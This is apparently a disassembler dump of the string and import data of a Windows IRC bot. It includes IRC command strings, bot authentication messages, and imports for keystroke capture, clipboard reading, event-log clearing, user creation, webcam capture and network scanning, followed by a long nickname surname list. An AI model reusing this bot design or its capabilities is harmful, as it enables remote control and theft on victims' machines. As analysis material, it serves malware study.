sub_401C87:loc_409994o align 10h unk_443570 db 2Dh ; - ; DATA XREF: sub_401C87+7D23o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s ms',0 align 4 aQuitReconnec_1 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_4099DAo align 4 unk_4435AC db 2Dh ; - ; DATA XREF: sub_401C87+7D69o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s seconds',0 align 4 aNickS_9 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7DBFo align 10h unk_4435E0 db 2Dh ; - ; DATA XREF: sub_401C87+7DD3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 4 asc_443604: ; DATA XREF: sub_401C87+7E06o ; sub_401C87+7E24o unicode 0, <!~> aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7E54o align 10h aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7E68o align 4 unk_44365C db 2Dh ; - ; DATA XREF: sub_401C87+7E77o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7EC1o align 10h aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7ED5o align 4 unk_4436DC db 2Dh ; - ; DATA XREF: sub_401C87+7EE4o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 4 unk_443708 db 2Dh ; - ; DATA XREF: sub_401C87+7F39o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_443728 db 2Dh ; - ; DATA XREF: sub_401C87+7F56o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7F63o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7F78o align 4 aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7F8Bo align 4 aNotice_3 db 'NOTICE',0 ; DATA XREF: sub_409C75+Fo align 10h aPrivmsg_2 db 'PRIVMSG',0 ; DATA XREF: sub_409C75+16o aS_12 db '%s',0 ; DATA XREF: sub_409C75+3Bo align 4 aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409C75+58o aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409D10+Ao align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409D10+23o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409D10+2Bo align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409D10+38o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409D10+45o align 4 aModule32first db 'Module32First',0 ; DATA XREF: sub_409D10+52o align 4 aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409D10+5Fo aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409D10+6Co aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409D10+79o align 10h aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409D10+86o aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409D10+93o aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409D10+A0o align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409D10:loc_409E18o align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409D10:loc_409E45o align 4 aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409D10+14Ao align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409D10+152o aIswindow db 'IsWindow',0 ; DATA XREF: sub_409D10+15Fo align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409D10+16Co align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409D10+179o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409D10+186o align 10h aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409D10+193o align 10h aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409D10+1A0o align 10h aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409D10:loc_409F08o align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409D10+200o aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409D10+20Do align 10h aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409D10+21Ao aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409D10:loc_409F6Fo align 4 aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409D10+270o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409D10+278o aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409D10+285o align 4 aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409D10+292o align 4 aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409D10+29Fo aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409D10+2ACo aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409D10+2B9o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409D10+2C6o align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409D10:loc_40A022o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409D10+31Ao align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409D10+327o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409D10:loc_40A067o align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409D10+35Fo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409D10+36Co align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409D10+379o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409D10+386o align 4 aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409D10+393o align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409D10+3A0o aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409D10+3ADo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409D10:loc_40A115o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409D10:loc_40A13Do align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409D10+43Eo align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409D10+446o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409D10+453o align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409D10+460o align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409D10+46Do align 10h aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409D10+47Ao align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_409D10+487o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409D10+494o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409D10+4A1o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409D10+514o align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409D10+525o align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409D10+52Do align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409D10+53Ao align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409D10+547o align 4 aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409D10+554o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409D10+561o aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409D10+56Eo align 10h aSocket db 'socket',0 ; DATA XREF: sub_409D10+57Bo align 4 aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409D10+588o aConnect db 'connect',0 ; DATA XREF: sub_409D10+595o aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409D10+5A2o align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409D10+5AFo align 4 aHtons db 'htons',0 ; DATA XREF: sub_409D10+5BCo align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409D10+5C9o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409D10+5D6o align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409D10+5E3o align 4 aSend_0 db 'send',0 ; DATA XREF: sub_409D10+5F0o align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409D10+5FDo align 4 aRecv db 'recv',0 ; DATA XREF: sub_409D10+60Ao align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409D10+617o align 4 aBind db 'bind',0 ; DATA XREF: sub_409D10+629o align 10h aSelect db 'select',0 ; DATA XREF: sub_409D10+631o align 4 aListen db 'listen',0 ; DATA XREF: sub_409D10+63Eo align 10h aAccept db 'accept',0 ; DATA XREF: sub_409D10+64Bo align 4 aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409D10+658o align 4 aGetsockname db 'getsockname',0 ; DATA XREF: sub_409D10+665o aGethostname db 'gethostname',0 ; DATA XREF: sub_409D10+672o aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409D10+67Fo align 4 aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409D10+68Co align 4 aGetpeername db 'getpeername',0 ; DATA XREF: sub_409D10+699o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409D10+6A6o aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409D10:loc_40A4EFo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409D10+7F0o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409D10+7F8o aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409D10+805o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409D10+812o align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409D10+81Fo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409D10+82Co align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409D10+839o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409D10+846o align 4 aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409D10+853o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409D10+860o aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409D10+8D2o align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409D10:loc_40A60Fo align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409D10+90Co align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409D10+914o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409D10+921o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409D10:loc_40A66Eo align 4 aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409D10+96Fo aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409D10+977o aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409D10+984o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409D10+991o align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409D10+99Eo align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409D10+9ABo align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409D10+9B8o align 4 aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409D10+9C5o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409D10+9D2o aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409D10+9DFo align 10h aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409D10+9ECo align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409D10+9F9o aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409D10:loc_40A78Ao align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409D10+A87o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409D10+A8Fo align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409D10:loc_40A7D4o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409D10+AD1o align 4 aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409D10+AD9o align 10h aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409D10:loc_40A81Eo aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409D10+B1Bo aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409D10+B23o aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409D10+B30o align 4 aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409D10+B3Do align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409D10:loc_40A892o aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409D10+B8Fo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409D10+B97o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409D10:loc_40A8DCo align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409D10+BD9o align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409D10+BE1o align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409D10+BEEo align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409D10+BFBo align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409D10+C08o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409D10+C15o align 4 aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409D10:loc_40A97Ao ; _7:off_510BE8o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409D10+C77o aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409D10+C7Fo align 10h aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+28o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+5Co aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+90o align 10h aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+C4o align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+F8o aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+12Co align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+160o align 4 aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+194o align 10h aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+1C8o aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+1FCo align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+230o align 4 aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+264o align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+298o aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+2CCo align 4 unk_4441FC db 2Dh ; - ; DATA XREF: sub_40A9CC+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 a___1: ; DATA XREF: _0:0040AD2Co _0:0040AD44o unicode 0, <..> unk_444220 db 2Dh ; - ; DATA XREF: sub_40ADC9+43o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 unk_44424C db 2Dh ; - ; DATA XREF: sub_40ADC9:loc_40AE22o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 10h unk_444270 db 2Dh ; - ; DATA XREF: sub_40ADC9+8Co db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGetting_0 db 'error getting ARP cache: %d',0 unk_44429C db 2Dh ; - ; DATA XREF: sub_40ADC9:loc_40AE5Co db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_4442CC db 2Dh ; - ; DATA XREF: sub_40ADC9:loc_40AE8Eo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AEAD+46o aReal db 'real',0 ; DATA XREF: sub_40B38F+Fr align 10h dd 0 dword_444314 dd 0 ; DATA XREF: sub_40B38F:loc_40B3B6r off_444318 dd offset sub_40AFAB ; DATA XREF: sub_40B38F+4Ar aConst db 'const',0 align 8 dd 1, 40B017h, 7474656Ch, 7265h, 0 dd 2, 40B075h, 706D6F63h, 2 dup(0) dd 3, 40B0C2h, 6E756F63h, 797274h, 0 dd 4, 40B168h, 736Fh, 2 dup(0) dd 5, 40B1DDh aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: _2:off_446DB0o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: _2:00446DB4o align 4 aAdams db 'Adams',0 ; DATA XREF: _2:00446DB8o align 10h aAddison db 'Addison',0 ; DATA XREF: _2:00446DBCo aAdelstein db 'Adelstein',0 ; DATA XREF: _2:00446DC0o align 4 aAdibe db 'Adibe',0 ; DATA XREF: _2:00446DC4o align 4 aAdorno db 'Adorno',0 ; DATA XREF: _2:00446DC8o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: _2:00446DCCo align 4 aAlavi db 'Alavi',0 ; DATA XREF: _2:00446DD0o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: _2:00446DD4o align 4 aAlda db 'Alda',0 ; DATA XREF: _2:00446DD8o align 4 aAleks db 'Aleks',0 ; DATA XREF: _2:00446DDCo align 4 aAllison db 'Allison',0 ; DATA XREF: _2:00446DE0o aAlongi db 'Alongi',0 ; DATA XREF: _2:00446DE4o align 4 aAltavilla db 'Altavilla',0 ; DATA XREF: _2:00446DE8o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: _2:00446DECo aAltenhofen db 'Altenhofen',0 ; DATA XREF: _2:00446DF0o align 10h aAmaral db 'Amaral',0 ; DATA XREF: _2:00446DF4o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: _2:00446DF8o align 4 aAmeer db 'Ameer',0 ; DATA XREF: _2:00446DFCo align 4 aAmsden db 'Amsden',0 ; DATA XREF: _2:00446E00o align 4 aAnand db 'Anand',0 ; DATA XREF: _2:00446E04o align 4 aAndel db 'Andel',0 ; DATA XREF: _2:00446E08o align 4 aAndo db 'Ando',0 ; DATA XREF: _2:00446E0Co align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: _2:00446E10o align 4 aAndron db 'Andron',0 ; DATA XREF: _2:00446E14o align 10h aAnfinrud db 'Anfinrud',0 ; DATA XREF: _2:00446E18o align 4 aAnsley db 'Ansley',0 ; DATA XREF: _2:00446E1Co align 4 aAnthony db 'Anthony',0 ; DATA XREF: _2:00446E20o aAntos db 'Antos',0 ; DATA XREF: _2:00446E24o align 4 aArbia db 'Arbia',0 ; DATA XREF: _2:00446E28o align 4 aArduini db 'Arduini',0 ; DATA XREF: _2:00446E2Co aArellano db 'Arellano',0 ; DATA XREF: _2:00446E30o align 10h aAristotle db 'Aristotle',0 ; DATA XREF: _2:00446E34o align 4 aArjas db 'Arjas',0 ; DATA XREF: _2:00446E38o align 4 aArky db 'Arky',0 ; DATA XREF: _2:00446E3Co align 4 aAtkins db 'Atkins',0 ; DATA XREF: _2:00446E40o align 4 aAugustus db 'Augustus',0 ; DATA XREF: _2:00446E44o align 10h aAurelius db 'Aurelius',0 ; DATA XREF: _2:00446E48o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: _2:00446E4Co aAxworthy db 'Axworthy',0 ; DATA XREF: _2:00446E50o align 10h aAyiemba db 'Ayiemba',0 ; DATA XREF: _2:00446E54o aAykroyd db 'Aykroyd',0 ; DATA XREF: _2:00446E58o aAyling db 'Ayling',0 ; DATA XREF: _2:00446E5Co align 4 aAzima db 'Azima',0 ; DATA XREF: _2:00446E60o align 10h aBachmuth db 'Bachmuth',0 ; DATA XREF: _2:00446E64o align 4 aBackus db 'Backus',0 ; DATA XREF: _2:00446E68o align 4 aBady db 'Bady',0 ; DATA XREF: _2:00446E6Co align 4 aBaglivo db 'Baglivo',0 ; DATA XREF: _2:00446E70o aBagnold db 'Bagnold',0 ; DATA XREF: _2:00446E74o aBailar db 'Bailar',0 ; DATA XREF: _2:00446E78o align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: _2:00446E7Co align 10h aBaleja db 'Baleja',0 ; DATA XREF: _2:00446E80o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: _2:00446E84o align 4 aBallew db 'Ballew',0 ; DATA XREF: _2:00446E88o align 4 aBaltz db 'Baltz',0 ; DATA XREF: _2:00446E8Co align 4 aBanta db 'Banta',0 ; DATA XREF: _2:00446E90o align 4 aBarabesi db 'Barabesi',0 ; DATA XREF: _2:00446E94o align 4 aBarajas db 'Barajas',0 ; DATA XREF: _2:00446E98o aBaranczak db 'Baranczak',0 ; DATA XREF: _2:00446E9Co align 4 aBaranowska db 'Baranowska',0 ; DATA XREF: _2:00446EA0o align 4 aBarberi db 'Barberi',0 ; DATA XREF: _2:00446EA4o aBarbetti db 'Barbetti',0 ; DATA XREF: _2:00446EA8o align 4 aBarneson db 'Barneson',0 ; DATA XREF: _2:00446EACo align 4 aBarnett db 'Barnett',0 ; DATA XREF: _2:00446EB0o aBarriola db 'Barriola',0 ; DATA XREF: _2:00446EB4o align 4 aBarry db 'Barry',0 ; DATA XREF: _2:00446EB8o align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: _2:00446EBCo aBartolome db 'Bartolome',0 ; DATA XREF: _2:00446EC0o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: _2:00446EC4o align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: _2:00446EC8o align 10h aBashevis db 'Bashevis',0 ; DATA XREF: _2:00446ECCo align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: _2:00446ED0o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: _2:00446ED4o align 4 aBayles db 'Bayles',0 ; DATA XREF: _2:00446ED8o align 4 aBayo db 'Bayo',0 ; DATA XREF: _2:00446EDCo align 4 aBeacon db 'Beacon',0 ; DATA XREF: _2:00446EE0o align 4 aBeal db 'Beal',0 ; DATA XREF: _2:00446EE4o align 4 aBean db 'Bean',0 ; DATA XREF: _2:00446EE8o align 4 aBeckman db 'Beckman',0 ; DATA XREF: _2:00446EECo aBeder db 'Beder',0 ; DATA XREF: _2:00446EF0o align 4 aBedford db 'Bedford',0 ; DATA XREF: _2:00446EF4o aBehenna db 'Behenna',0 ; DATA XREF: _2:00446EF8o aBelanger db 'Belanger',0 ; DATA XREF: _2:00446EFCo align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: _2:00446F00o align 4 aBelfer db 'Belfer',0 ; DATA XREF: _2:00446F04o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: _2:00446F08o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: _2:00446F0Co align 4 aBellhouse db 'Bellhouse',0 ; DATA XREF: _2:00446F10o align 4 aBellini db 'Bellini',0 ; DATA XREF: _2:00446F14o aBelloc db 'Belloc',0 ; DATA XREF: _2:00446F18o align 4 aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: _2:00446F1Co align 4 aBergson db 'Bergson',0 ; DATA XREF: _2:00446F20o aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: _2:00446F24o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: _2:00446F28o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: _2:00446F2Co align 4 aBernston db 'Bernston',0 ; DATA XREF: _2:00446F30o align 10h aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: _2:00446F34o align 10h aBetti db 'Betti',0 ; DATA XREF: _2:00446F38o align 4 aBeynart db 'Beynart',0 ; DATA XREF: _2:00446F3Co aBiagioli db 'Biagioli',0 ; DATA XREF: _2:00446F40o align 4 aBickel db 'Bickel',0 ; DATA XREF: _2:00446F44o align 4 aBinion db 'Binion',0 ; DATA XREF: _2:00446F48o align 4 aBir db 'Bir',0 ; DATA XREF: _2:00446F4Co aBisema db 'Bisema',0 ; DATA XREF: _2:00446F50o align 4 aBisho db 'Bisho',0 ; DATA XREF: _2:00446F54o align 10h aBlackbourn db 'Blackbourn',0 ; DATA XREF: _2:00446F58o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: _2:00446F5Co align 4 aBlagg db 'Blagg',0 ; DATA XREF: _2:00446F60o align 10h aBlakemore db 'Blakemore',0 ; DATA XREF: _2:00446F64o align 4 aBlanke db 'Blanke',0 ; DATA XREF: _2:00446F68o align 4 aBliss db 'Bliss',0 ; DATA XREF: _2:00446F6Co align 4 aBlizard db 'Blizard',0 ; DATA XREF: _2:00446F70o aBloch db 'Bloch',0 ; DATA XREF: _2:00446F74o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: _2:00446F78o aBloemhof db 'Bloemhof',0 ; DATA XREF: _2:00446F7Co align 4 aBloxham db 'Bloxham',0 ; DATA XREF: _2:00446F80o aBlyth db 'Blyth',0 ; DATA XREF: _2:00446F84o align 4 aBolger db 'Bolger',0 ; DATA XREF: _2:00446F88o align 4 aBolick db 'Bolick',0 ; DATA XREF: _2:00446F8Co align 4 aBollinger db 'Bollinger',0 ; DATA XREF: _2:00446F90o align 10h aBologna db 'Bologna',0 ; DATA XREF: _2:00446F94o aBoner db 'Boner',0 ; DATA XREF: _2:00446F98o align 10h aBonham db 'Bonham',0 ; DATA XREF: _2:00446F9Co align 4 aBoniface db 'Boniface',0 ; DATA XREF: _2:00446FA0o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: _2:00446FA4o align 10h aBook db 'Book',0 ; DATA XREF: _2:00446FA8o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: _2:00446FACo align 4 aBoone db 'Boone',0 ; DATA XREF: _2:00446FB0o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: _2:00446FB4o align 4 aBorack db 'Borack',0 ; DATA XREF: _2:00446FB8o align 10h aBorden db 'Borden',0 ; DATA XREF: _2:00446FBCo align 4 aBossi db 'Bossi',0 ; DATA XREF: _2:00446FC0o align 10h aBothman db 'Bothman',0 ; DATA XREF: _2:00446FC4o aBotosh db 'Botosh',0 ; DATA XREF: _2:00446FC8o align 10h aBoudin db 'Boudin',0 ; DATA XREF: _2:00446FCCo align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: _2:00446FD0o aBourneuf db 'Bourneuf',0 ; DATA XREF: _2:00446FD4o align 4 aBowers db 'Bowers',0 ; DATA XREF: _2:00446FD8o align 4 aBoxer db 'Boxer',0 ; DATA XREF: _2:00446FDCo align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: _2:00446FE0o align 4 aBoyes db 'Boyes',0 ; DATA XREF: _2:00446FE4o align 10h aBoyland db 'Boyland',0 ; DATA XREF: _2:00446FE8o aBoym db 'Boym',0 ; DATA XREF: _2:00446FECo align 10h 